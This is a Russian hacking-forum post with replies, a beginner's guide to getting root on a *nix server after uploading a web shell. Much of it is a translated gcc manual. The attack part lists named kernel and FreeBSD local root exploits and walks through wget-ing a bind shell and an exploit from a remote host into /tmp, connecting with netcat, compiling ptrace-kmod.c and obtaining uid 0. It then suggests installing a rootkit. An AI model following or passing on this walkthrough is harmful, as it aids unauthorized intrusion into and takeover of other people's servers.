Статья расчитана для новичков(чайников,начинающих и для залётных людей на форум с вопросом , что делать? у меня есть шелл?). Похожую статью написал Desr0w http://forum.antichat.ru/showpost.php?p=137357&postcount=1. Не ругайте меня. |--------------------------------------------------| |1.Intro. |2.Немного о GCC. |3.Local root exploit for *nix. |4.Теория. |5.Download. |--------------------------------------------------| Intro. Множество новичков после удачной заливки web shell'a , не знают что дальше делать. Или точнее выразиться, не знают как и при помощи чего можно поднять привилегии в *nix системах. Существует множество способов поднятия прав в системе от nobody до root. И так сейчас мы попробуем рассмотреть самые приемлимые способы для захвата рута. Приступим. Немного о GCC. На большинства *nix системах стоят по дефолту(по умолчанию), компилятор gcc (GNU project C Compiler). Который компилирует C\C++ исходники программ. Он нам нужен для компиляции експлоитов. И так немного о GCC. Компиляция может включать до четырех стадий: препроцессирование, собственно компиляцию, ассемблирование и линковку, всегда в этом порядке. Первые три стадии применяются к отдельному исходному файлу и заканчиваются получением объектного файла; линковка объединяет все объектные файлы (заново откомпилированные или полученные как входные) в исполняемый файл. Для любого имени входного файла суффикс определяет какая компиляция требуется: file.c Исходный код на C, который нуждается в препроцессировании. file.i Исходный код на С, который не нуждается в препроцессировании. file.ii Исходный код на C++, который не нуждается в препроцессировании. file.m Исходный код на Objective C. Заметим, что вам необходимо подключить библиотеку 'libobjc.a', чтобы заставить Objective C программу работать. file.h C заголовочный файл (не для компиляции или линковки). file.cc file.cxx file.cpp file.C Исходный код на C+, который нуждается в препроцессировании. file.s Ассемблерный код. file.S Ассемблерный код, который нуждается в препроцессировании. другие Объектный файл, который нужно отдать прямо на линковку. Так поступают с любым именем файла с нераспознанным суффиксом. Вы можете прямо указать входной язык при помощи опции '-x': -x язык. Прямо специфицирует язык последующих входных файлов (даже если компилятор может выбрать язык на основании суффикса имени файла). Эта опция действует на все входные файлы вплоть до следующего появления опции '-x'. Возможными значениями для языка являются: c objective-c c++ c-header cpp-output c++-cpp-output assembler assembler-with-cpp -x none Выключает любое указание языка так, что последующие файлы обрабатываются в соответствии с суффиксами имен файлов (как если бы '-x' не указывалось бы вовсе). Если вам нужны лишь некоторые из стадий компиляции, вы можете использовать '-x', чтобы указать gcc где начать, и одну из опций '-c', некоторые комбинации (например, '-x cpp-output -E' указывают gcc ни делать вообще ничего). -c Компилировать или ассемблировать исходные файлы, но не линковать. Стадия ликовки просто не выполняется. Конечный вывод происходит в форме объектного файла для каждого исходного файла. По умолчанию, имя объектного файла делается из имени исходного файла заменой суффикса '.c', '.i', '.s', и.т.д. на '.o'. Нераспознанные входные файлы, не требующие компиляции или ассемблирования, игнорируются. -S Остановиться после собственно компиляции; не ассемблировать. Вывод производится в форме файла с ассемблерным кодом для каждого не ассемблерного входного файла. По умолчанию, имя файла с ассемблерным кодом делается из имени исходного файла заменой суффикса '.c', '.i', и.т.д. на '.s'. Входные файлы, которые не требуют компиляции игнорируются. -E Остановиться после стадии препроцессирования; не запускать собственно компилятор. Вывод делается в форме препроцессированного исходного кода, который посылается на стандартный вывод. Входные файлы, которые не требуют препроцессирования игнорируются. -o файл Поместить вывод в файл 'файл'. Эта опция применяется вне зависимости от вида порождаемого файла, есть ли это выполнимый файл, объектный файл, ассемблерный файл или препроцессированный C код. Поскольку указывается только один выходной файл, нет смысла использовать '-o' при компиляции более чем одного входного файла, если вы не порождаете на выходе выполнимый файл. Если '-o' не указано, по умолчанию выполнимый файл помещается в ассемблерный код в 'исходный.s' и все препроцессированные C файлы - в стандартный вывод. -v Печатать (в стандартный вывод ошибок) команды выполняемые для запуска стадий компиляции. Также печатать номер версии управляющей программы компилятора, препроцессора и самого компилятора. -pipe Использовать каналы вместо временных файлов для коммуникации между различными стадиями компиляции. Это может не работать на некоторых системах, где ассемблер не может читать из канала, но ассемблер GNU не имеет проблем. Для того чтобы скомпилировать експлоит мы делаем gcc exploit.c -o exploit. Быстро рассмотрим: gcc - сам компилятор, exploit.c - наш исходник експлоита, -o - флаг, exploit - имя программы после компиляции. Если вас заинтересовал компилятор GCC , и вы хотите почитать полное руководство то зайдите по ссылке http://linux.taraz.kz/doc/c/gcc1.html. Local root exploit for *nix. Здесь мы рассмотрим експлоиты для поднятия привелегий в *nix system. Существует два направления експлоитов,local(локальный) и remote(удалённый).И так, в паблике находиться множество различных експлоитов. Я выложу список самых эффективных експлоитов для поднятия привелегий. [--------------------------------------------------------------*nix--------------------------------------------------------------------] | `---Linux 2.2.x / 2.4.22 [Linux kernel ptrace/kmod local root exploit] [local] [ptrace-kmod] | `---Linux 2.2.x / 2.4.23 [Linux kernel do_brk vma overflow local root exploit] [local] [do_brk] | `---Linux 2.2.x / 2.4.24 /2.6.0-2 [mremap missing do_munmap return check kernel exploit] [local] [mremap_pte] | `---Linux 2.2 / 2.2.27-rc2 / 2.4.27 / 2.4.31-prel /2.6.x [Linux Kernel binfmt_elf Executable File Read Exploit] [local] [binfmt_elf] | `---Linux 2.6 / 2.6.11 [Linux Kernel (CPL 0) Local Root Exploit] [local] [k-rad3] | `---Linux 2.6.x [Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit] [local] [raptor_chown] | `---FreeBSD 4.x / 5.4 [master.passwd Disclosure Exploit] [local] [kmem] | `---FreeBSD 4.6-STABLE / 4.7-RELEASE [Local root exploit for hlfsd] [local] [hlfsd-xp] | `---FreeBSD 5.4-RELEASE [Qpopper <= 4.0.8 (poppassd) Local Root Exploit] [local] [Qpopper] | `---FreeBSD 4.7-RELEASE [Firebird 1.0.2 FreeBSD 4.7-RELEASE Local Root Exploit] [local] [DSR-firebird] | |-----> Вам предоставлены самые эффективные сплоиты. Теория. И так утебя есть web shell, залитый на сервер. Первым дело проверяем свои права командой id и видим> uid=99(nobody)gid=99(nobody)groups=99(nobody) Давай узнаем какое ядро, для этого водим команду uname -a и что мы видим. Linux 2.2.21 хорошо, замечательно. Будем брать експлоитом ptrace-kmod.c. Для этого нам надо пробиндить тачку, чтобы получить шелл оболочку. Ищем открытую папку для заливки файла.По дефолту это папка tmp. Заливаем bind.pl (wget -O /tmp/bind.pl http://site/bind.pl) и запускаем командой perl bind.pl. Открываем net cat и вбиваем host 32767.Появился back сonect.Проверяем на наличии компилятора командой which gcc. Заливаем наш експлоит в tmp(wget -O /tmp/ptrace.c http://site/ptrace.c). Идём в папку tmp (cd /tmp), компилируем ( gcc -o ptrace ptrace.c), Запускаем ( ./ptrace) и видим [+] Attached to 8065 [+] Waiting for signal [+] Signal caught [+] Shellcode placed at 0x4000fd1d [+] Now wait for suid shell... sh-2.05a# id >> uid=0(root) gid=0(root) groups=0(root) Имея root можно установить rootkit. Download. FreeBSD >> kmem.c hlfsd-xp.c Qpopper DSR-firebird.c Linux >> ptrace-kmod.c do_brk.c mremap_pte.c binfmt_elf.c k-rad3.c raptor_chown.c Bind.pl NetCat Также и видео : 1)Уязвимость в HostAdmin, root через бажное ядро Линукса.[c] Melco http://video.antichat.ru/file185.html 2)Получение root прав на сервере yargsm.ru [c] l@m@rEz http://video.antichat.ru/file151.html 3)Получаем root, использую сплоита. [c] Fan http://video.antichat.ru/file120.html
Слишком очевидная статья имхо, итак понятно что надо юзать бэкконект и рут сплойт %)) Про chmod в фряхе не написано, вообщем статья - развернутый gcc -h =))) имхо!
исправь грамматические ошибки и вообще раз статья для новичков, половина предложения им будет не понятна. Вообще, 90% статьи - переведенный man gcc, который нахрен никому не нужен (читать маны, надеюсь, умеют даже новички). можно было бы и написать про руткиты, убрав дурацкое gcc. Садись, три
\не по теме\ Все же спрошу, а все знают как получить рут во ФриБСД.? А то мня прет написать статью по этой теме.